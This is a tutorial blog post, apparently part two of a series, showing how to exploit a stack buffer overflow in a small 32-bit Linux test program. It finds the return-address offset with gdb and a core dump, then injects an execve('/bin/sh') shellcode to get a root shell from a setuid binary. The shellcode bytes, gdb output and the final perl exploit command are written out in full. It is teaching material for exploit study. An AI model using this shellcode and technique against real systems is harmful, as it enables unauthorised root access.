This page looks best with JavaScript enabled

Executing shellcode, exploiting part 2

 ·  🎃 kr0m

In the previous article, we explained the simplest way to manipulate the stack thanks to a programming error. This way, we managed to make the program return from a function to a memory address that was not correct. But why not make it more interesting and make that memory address contain code that can be useful to us? In our example, it will be a shell, so by exploiting the bug, we will obtain a shell with the user with which the software was running. To make it more impactful, we will assign it the sticky bit, so we will obtain a root shell.

Continuing with the previous example, we have a software that does not check user input. Thanks to this error, we could overwrite the value of the EIP on the stack. When returning from the vulnerable function, we ended up executing the function again and performing two printfs on the screen. Now we are going to use the input variable to leave what is called shellcode in a certain position on the stack. This is the useful code that we want to execute. We will leave the way to generate a shellcode for later, but we can find a great repertoire here .

The chosen shellcode is:

x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80

We already have our shellcode, but we still have a problem to solve. In which memory address does ESP start, where we will leave our shellcode? The value of ESP is not exactly where our variable starts, but an approximate value. To find out for sure, we will use gdb:

gdb overrun

Gdb allows us to visualize the values of memory addresses at all times. What we are going to do is set a breakpoint just before and after copying the variable. This way, we can see our input in the memory addresses close to ESP and know at which address the variable starts. This way, we will overwrite the EIP with that value and execute the shellcode when returning from the function:

(gdb) set disassembly-flavor intel
(gdb) disassemble func
Dump of assembler code for function func:
   0x080484ac <+0>:    push   ebp
   0x080484ad <+1>:    mov    ebp,esp
   0x080484af <+3>:    sub    esp,0x38
   0x080484b2 <+6>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080484b5 <+9>:    mov    DWORD PTR [esp+0x4],eax
   0x080484b9 <+13>:    lea    eax,[ebp-0x28]
   0x080484bc <+16>:    mov    DWORD PTR [esp],eax
   0x080484bf <+19>:    call   0x8048370 <strcpy@plt>
   0x080484c4 <+24>:    lea    eax,[ebp-0x28]
   0x080484c7 <+27>:    mov    DWORD PTR [esp+0x4],eax
   0x080484cb <+31>:    mov    DWORD PTR [esp],0x80485c0
   0x080484d2 <+38>:    call   0x8048360 <printf@plt>
   0x080484d7 <+43>:    leave
   0x080484d8 <+44>:    ret
End of assembler dump.

(gdb) break *func+19
Breakpoint 1 at 0x80484bf

(gdb) break *func+24
Breakpoint 2 at 0x80484c4

(gdb) run `perl -e 'print "A"x48'`
Starting program: /home/kr0m/overrun `perl -e 'print "A"x48'`

Breakpoint 1, 0x080484bf in func ()
(gdb) x/16x $esp
0xbffff700:    0xbffff710    0xbffff93c    0xbffff727    0x00000001
0xbffff710:    0x00000000    0xbffff7b0    0xb7fd6ce0    0x08048334
0xbffff720:    0xb7ff0590    0x080497bc    0xbffff758    0x0804858b
0xbffff730:    0x00000002    0xbffff804    0xbffff758    0x08048519

(gdb) c
Continuing.

Breakpoint 2, 0x080484c4 in func ()

(gdb) x/16x $esp
0xbffff700:    0xbffff710    0xbffff93c    0xbffff727    0x00000001
0xbffff710:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff720:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff730:    0x41414141    0x41414141    0x41414141    0x41414141

With this, we have obtained the memory address of the beginning of our variable, where we want to store our shellcode.

(gdb) c

Continuing.

 Alfaexploit overrun proof of concept, welcome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) delete breakpoints

(gdb) run `perl -e 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"'`

Starting program: /home/kr0m/overrun `perl -e 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"'`

 Alfaexploit overrun proof of concept, welcome: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x4c4c4c4c in ?? ()

In hexadecimal 4c –> LLLL, we look for the address where the data that overwrites the EIP is located:

(gdb) x/32x $esp-32
0xbffff6f0:    0x45454545    0x46464646    0x47474747    0x48484848
0xbffff700:    0x49494949    0x4a4a4a4a    0x4b4b4b4b    0x4c4c4c4c
0xbffff710:    0x4d4d4d4d    0x4e4e4e4e    0x4f4f4f4f    0x50505050
0xbffff720:    0x51515151    0x52525252    0x53535353    0x54545454
0xbffff730:    0x55555555    0x56565656    0x57575757    0x58585858
0xbffff740:    0x59595959    0x5a5a5a5a    0xb7ffef00    0x080482a1
0xbffff750:    0x00000001    0xbffff790    0xb7fefc16    0xb7fffac0
0xbffff760:    0xb7fe0b58    0xb7fd5ff4    0x00000000    0x00000000

(gdb) x/x 0xbffff70c
0xbffff70c:    0x4c4c4c4c

It is in this memory position where we must leave the value of the address of the beginning of our variable, where our shellcode will be. There are 44 chars from AAAA to KKKK, our shellcode occupies 23, so we need 21 padding: 21+23=44. Next, we put the address where our shellcode is located. This way, when it returns, it will execute that shellcode.

If we run the program from the debugger, it will offer us a shell, but if we do it from outside, it won’t. This is because gdb starts it with the full path, so the environment variables are different from when it is executed from the relative path. Since they are different, they occupy different sizes and the memory positions change:

(gdb) run `perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kr0m/overrun `perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'`

 Alfaexploit overrun proof of concept, welcome: 1É1À1?
 Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿

process 3544 is executing new program: /bin/dash
$

However, from outside:

kr0m@reversedbox:~$ ./overrun perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'

 Alfaexploit overrun proof of concept, welcome: 1É1À1?
 Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿

Violación de segmento

To find out the value from outside the debugger, we must enable the core dumps or follow this second procedure using the external tool botox, but I prefer to do it with the core:

ulimit -c unlimited

We launch the program with a fair input to overwrite the value of EIP:

kr0m@reversedbox:~$ ./overrun perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'

 Alfaexploit overrun proof of concept, welcome: 1É1À1?
 Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿

Violación de segmento (`core' generado)

We start the debugger with the core:

kr0m@reversedbox:~$ gdb -q -c core

[New LWP 3554]
Core was generated by `./overrun 1É1À1?
 Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿'.
Program terminated with signal 11, Segmentation fault.
#0 0xbffff710 in ?? ()

We know that our input must be near ESP, that’s where our shellcode will start:

(gdb) x/50x $esp-50
0xbffff74e:    0xc9310000    0xd231c031    0x68510bb0    0x68732f2f
0xbffff75e:    0x69622f68    0xcde3896e    0x41414180    0x41414141
0xbffff76e:    0x41414141    0x41414141    0x41414141    0xf7104141
0xbffff77e:    0xf900bfff    0x0590bfff    0x854bb7ff    0x5ff40804
0xbffff78e:    0x8540b7fd    0x00000804    0xf8180000    0xce66bfff
0xbffff79e:    0x0002b7e8    0xf8440000    0xf850bfff    0x0860bfff
0xbffff7ae:    0x6821b7fe    0xffffb7ff    0xeff4ffff    0x82a1b7ff
0xbffff7be:    0x00010804    0xf8000000    0xfc16bfff    0xfac0b7fe
0xbffff7ce:    0x0b58b7ff    0x5ff4b7fe    0x0000b7fd    0x00000000
0xbffff7de:    0xf8180000    0xa167bfff    0xb777c4ae    0x0000eadd
0xbffff7ee:    0x00000000    0x00000000    0x00020000    0x83c00000
0xbffff7fe:    0x00000804    0x59c00000    0xcd8bb7ff    0xeff4b7e8
0xbffff80e:    0x0002b7ff    0x83c00000

We can see our shellcode, we get the exact address with:

(gdb) x/x 0xbffff750
0xbffff750: 0xc031c931

0xbffff750 is the memory address where EIP should point!!

As we mentioned in the introduction of the article, we are going to run the software with a regular user, we will assign the stickybit in the vulnerable software, so at the time of exploitation, it will have root permissions and the shell it offers us will be root ;)

su
chown root:root overrun
chmod 4771 overrun

kr0m@reversedbox:~$ whoami

kr0m
kr0m@reversedbox:~$ id
uid=1000(kr0m) gid=1000(kr0m) groups=1000(kr0m),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
kr0m@reversedbox:~$ ./overrun perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x50xf7xffxbf"'
 Alfaexploit overrun proof of concept, welcome: 1É1À1?
 Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAAP÷ÿ¿
# whoami
root
# id
uid=1000(kr0m) gid=1000(kr0m) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(kr0m)
#

As you can see, a programming error in a daemon running as root can be very serious. From there, an attacker would be able to do whatever they wanted with the OS, trojanize it, install rootkits, etc.

If you liked the article, you can treat me to a RedBull here